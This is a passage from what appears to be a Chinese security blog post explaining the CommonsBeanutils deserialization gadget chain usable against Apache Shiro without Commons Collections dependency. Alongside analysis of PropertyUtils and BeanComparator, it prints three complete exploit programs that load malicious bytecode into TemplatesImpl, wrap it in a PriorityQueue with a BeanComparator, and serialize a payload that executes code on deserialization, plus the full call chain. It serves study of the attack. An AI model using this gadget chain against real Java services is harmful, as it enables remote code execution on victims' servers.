当前位置: 首页 > news >正文

Java反序列化CommonsBeanutils无依赖打Shiro

说明

      如果您之前未了解过 Commons Collections(CC)利用链,建议您先阅读相关基础文章,然后再回头阅读此文章。这样可以更好地理解其中的内容

Java反序列化-Commons Collections3利用链分析详解

Java反序列化-Commons Collections4利用链详解

什么是Java Bean?

      Java Bean 本质上是一种 Java 规范:必须包含一个无参构造方法;类的属性需私有化,并通过相应的 get、set 方法访问,且方法命名需遵循 getXxx() 格式

public class User{
    private String name;
    private boolean active;

    // 无参构造器
    public User() {}

    public String getName() {
        return name;
    }

    public void setName(String name) {
        this.name = name;
    }

    public boolean isActive() {
        return active;
    }

    public void setActive(boolean active) {
        this.active = active;
    }
}

      而我们要分析的 Commons Beanutils 作为 Java Bean 的增强版本,提供了更多工具类,从而使 Java Bean 相关操作的调用更加便捷

public static void main(String[] args) {
    User user = new User();
    //设置属性值
    PropertyUtils.setProperty(user, "name", "Bob"); 
    PropertyUtils.setProperty(user, "age", "30");

    //获取属性值
    String name = PropertyUtils.getProperty(user, "name");
    String ageStr = PropertyUtils.getProperty(user, "age");
}

测试环境

  • JDK 8u65
<dependency>
    <groupId>commons-beanutils</groupId>
    <artifactId>commons-beanutils</artifactId>
    <version>1.8.3</version>
</dependency>
<dependency>
    <groupId>commons-logging</groupId>
    <artifactId>commons-logging</artifactId>
    <version>1.2</version>
</dependency>

无依赖利用链

      CB 链与 CC4 链的构造思路类似,均通过反序列化触发比较器操作。但 CB 链的核心在于使用 commons-beanutils 的 BeanComparator 替代 CC4 中的 TransformedComparator。当反序列化后的 BeanComparator 执行 compare() 方法时,会通过 PropertyUtils.getProperty() 反射调用目标对象的特定 getter 方法(如 TemplatesImpl.outputProperties),从而触发恶意代码执行

PropertyUtils.getProperty

      我们先来分析一下 PropertyUtils.getProperty 传入数据都做了些什么

      跟进 PropertyUtils.getProperty 方法,发现它调用了 PropertyUtilsBean 类中的 getProperty 方法,继续深入跟进

      继续跟进 getNestedProperty 方法

    public Object getNestedProperty(Object bean, String name)
            throws IllegalAccessException, InvocationTargetException,
            NoSuchMethodException {

        if (bean == null) {
            throw new IllegalArgumentException("No bean specified");
        }
        if (name == null) {
            throw new IllegalArgumentException("No name specified for bean class '" +
                    bean.getClass() + "'");
        }

        // Resolve nested references
        while (resolver.hasNested(name)) {
            String next = resolver.next(name);
            Object nestedBean = null;
            if (bean instanceof Map) {
                nestedBean = getPropertyOfMapBean((Map) bean, next);
            } else if (resolver.isMapped(next)) {
                nestedBean = getMappedProperty(bean, next);
            } else if (resolver.isIndexed(next)) {
                nestedBean = getIndexedProperty(bean, next);
            } else {
                nestedBean = getSimpleProperty(bean, next);
            }
            if (nestedBean == null) {
                throw new NestedNullException
                        ("Null property value for '" + name +
                        "' on bean class '" + bean.getClass() + "'");
            }
            bean = nestedBean;
            name = resolver.remove(name);
        }

        if (bean instanceof Map) {
            bean = getPropertyOfMapBean((Map) bean, name);
        } else if (resolver.isMapped(name)) {
            bean = getMappedProperty(bean, name);
        } else if (resolver.isIndexed(name)) {
            bean = getIndexedProperty(bean, name);
        } else {
            bean = getSimpleProperty(bean, name);
        }
        return bean;

    }

      这里对传入的 bean 类型进行判断,如果不符合前三个 if 判断的类型,就会进入 getSimpleProperty 方法。正常情况下,我们不会传入 Map 类型的数据,因此在大多数情况下,依然会执行 getSimpleProperty 方法。继续跟进 getSimpleProperty 方法

      最终,传入的 bean 会通过反射机制被调用执行。到这里,getProperty 方法的执行流程分析完了

      反射调用 getter 本身不会直接导致代码执行,因此需要找到一个既符合 JavaBean 规范又包含危险操作的方法

      结合之前分析的 CC4 利用链,我们可以使用 TemplatesImpl 类。TemplatesImpl 的 getOutputProperties 方法符合 JavaBean 规范,并且其内部会调用 newTransformer 方法,该方法会加载恶意字节码,从而触发代码执行

      (CC3 中的类加载执行恶意代码,这里就不再分析了,如果不太理解可以先看看前面的 CC3/CC4 分析)

构造EXP

package org.example;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.beanutils.BeanComparator;
import org.apache.commons.beanutils.BeanUtils;
import org.apache.commons.beanutils.PropertyUtils;

import java.io.*;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.nio.file.Files;
import java.nio.file.Paths;

public class test {
    public static void main(String[] args) throws Exception {
        TemplatesImpl templates = new TemplatesImpl();

        byte[][] code = {Files.readAllBytes(Paths.get("F:\\Java开发目录\\cbtest\\target\\classes\\org\\example\\Calc.class"))};

        setFieldValue(templates, "_bytecodes", code);
        setFieldValue(templates, "_name", "nb666");
        setFieldValue(templates,"_tfactory",new TransformerFactoryImpl());

        PropertyUtils.getProperty(templates,"outputProperties");

    }

    public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj, value);
    }
}

BeanComparator.compare

      刚才已经证实这条链是可行的,那么接下来回到 PropertyUtils.getProperty,查找有哪些地方调用了 getProperty。前面已经提到过相关内容,所以这里直接跟进 BeanComparator 类

      在 compare 方法中调用了 PropertyUtils.getProperty,并传入了 o1 和 property。因此,我们可以将 o1 设为 TemplatesImpl 类,并将 getOutputProperties 传给 property,使其调用该方法,从而触发代码执行

      接下来查找 compare 方法的调用位置。事实上,这里不需要继续查找,因为在 CC4 链中,反序列化是通过 PriorityQueue(优先队列)触发的,而 PriorityQueue 在操作过程中会调用 compare,从而形成这条利用链。不清楚的可以参考下之前的 CC4 分析

构造完整EXP (坑)

package org.example;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.beanutils.BeanComparator;
import org.apache.commons.beanutils.BeanUtils;
import org.apache.commons.beanutils.PropertyUtils;

import java.io.*;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.PriorityQueue;

public class test {
    public static void main(String[] args) throws Exception {
        TemplatesImpl templates = new TemplatesImpl();

        byte[][] code = {Files.readAllBytes(Paths.get("F:\\Java开发目录\\cbtest\\target\\classes\\org\\example\\Calc.class"))};

        setFieldValue(templates, "_bytecodes", code);
        setFieldValue(templates, "_name", "nb666");
        setFieldValue(templates,"_tfactory",new TransformerFactoryImpl());

        BeanComparator beanComparator = new BeanComparator();

        PriorityQueue<Object> queue = new PriorityQueue<Object>(beanComparator);

        queue.add("1");
        queue.add("2");

        // add之后再反射改回来避免提前触发
        setFieldValue(beanComparator,"property","outputProperties");
        setFieldValue(queue,"queue",new Object[]{templates, templates});

        serialize(queue);
        unserialize("ser.bin");

    }

    public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj, value);
    }

    public static void serialize(Object obj) throws IOException {
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
        oos.writeObject(obj);
    }

    public static Object unserialize(String filename) throws IOException, ClassNotFoundException {
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(filename));
        return ois.readObject();
    }
}

解决没有CC依赖报错问题

      这里报错提示没有 commons.collections 这个依赖,但我们实际上并没有用到它 

      再仔细一看,发现报错出现在第 26 行,直接跟进 BeanComparator,查看它的无参构造方法执行了什么操作

      在调用无参构造时,property 默认被赋值为空,随后执行到第 81 行,调用了 CC 里的一个方法。由于这里没有导入 CC 依赖,因此导致报错

      接着往下翻,发现这里有一个带参数的构造方法,可以传入一个 Comparator

      跟进 Comparator 进行查看,发现它是一个接口,如果想让代码成功反序列化,我们就需要找到一个同时实现了 Comparator 和 Serializable 的类

      这里懒得自己找了,直接问 DeepSeek 就行了 (DeepSeek YYDS)

构造终极EXP

      直接将 String.CASE_INSENSITIVE_ORDER 传入 BeanComparator 即可

package org.example;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.beanutils.BeanComparator;
import org.apache.commons.beanutils.BeanUtils;
import org.apache.commons.beanutils.PropertyUtils;

import java.io.*;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.PriorityQueue;

public class test {
    public static void main(String[] args) throws Exception {
        TemplatesImpl templates = new TemplatesImpl();

        byte[][] code = {Files.readAllBytes(Paths.get("F:\\Java开发目录\\cbtest\\target\\classes\\org\\example\\Calc.class"))};

        setFieldValue(templates, "_bytecodes", code);
        setFieldValue(templates, "_name", "nb666");
        setFieldValue(templates,"_tfactory",new TransformerFactoryImpl());

        BeanComparator beanComparator = new BeanComparator(null,String.CASE_INSENSITIVE_ORDER);

        PriorityQueue<Object> queue = new PriorityQueue<Object>(beanComparator);

        queue.add("1");
        queue.add("2");

        // add之后再反射改回来避免提前触发
        setFieldValue(beanComparator,"property","outputProperties");
        setFieldValue(queue,"queue",new Object[]{templates, templates});

        serialize(queue);
        unserialize("ser.bin");

    }

    public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj, value);
    }

    public static void serialize(Object obj) throws IOException {
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
        oos.writeObject(obj);
    }

    public static Object unserialize(String filename) throws IOException, ClassNotFoundException {
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(filename));
        return ois.readObject();
    }
}

      成功弹窗,六百六十六

总结

PriorityQueue.readObject() -> heapify()
  heapify() -> siftDownUsingComparator()
    siftDownUsingComparator() -> compare()
      compare() -> BeanComparator.compare()
        BeanComparator.compare() -> PropertyUtils.getProperty()
          PropertyUtils.getProperty() -> TemplatesImpl.getOutputProperties()
            TemplatesImpl.getOutputProperties() -> TemplatesImpl.newTransformer()
              TemplatesImpl.newTransformer() -> TemplatesImpl.getTransletInstance()
                TemplatesImpl.getTransletInstance() -> defineTransletClasses()

相关文章:

  • 阿里的MNN源码如何编译成so文件,供Android调用
  • 为什么在外置容器时要保证打包方式是war包?
  • 常用的数据结构有哪些?在Go语言中如何定义其实例?
  • 【QGIS_Python】在QGIS的Python控制台生成SHP格式点数据并显示标注
  • ZigMa:一种DiT风格的Zigzag Mamba扩散模型
  • Stream 流中 flatMap 方法详解
  • ADB简单入门
  • Verilog-HDL/SystemVerilog/Bluespec SystemVerilog vscode 配置
  • 一、蓝绿、灰度、滚动发布有什么不同
  • 网络安全攻防万字全景指南 | 从协议层到应用层的降维打击手册(全程图表对比,包你看到爽)
  • 内存高级话题
  • 如何根据 CUDA 配置安装 PyTorch 和 torchvision(大模型 环境经验)
  • C++学习之nginx+fastDFS
  • 详解Springboot的启动流程
  • 【HarmonyOS NEXT】关键资产存储开发案例
  • 纯内网环境安装1Panel面板与商店应用
  • 版本控制器Git ,Gitee如何连接Linux Gitee和Github区别
  • 信号的捕捉(操作部分)
  • 在linux上启动微服务
  • 前端模块化
  • 马上评|“衣服越来越难买”,对市场是一个提醒
  • 中国巴西民间推动建立经第三方验证的“森林友好型”牛肉供应链
  • 河南信阳拟发文严控预售许可条件:新出让土地开发的商品房一律现房销售
  • 三亚通报救护车省外拉警报器开道旅游:违规违法,责令公司停业整顿
  • 山东省市监局“你点我检”专项抽检:一批次“无抗”鸡蛋农兽药残留超标
  • 中国人民抗日战争暨世界反法西斯战争胜利80周年纪念活动标识发布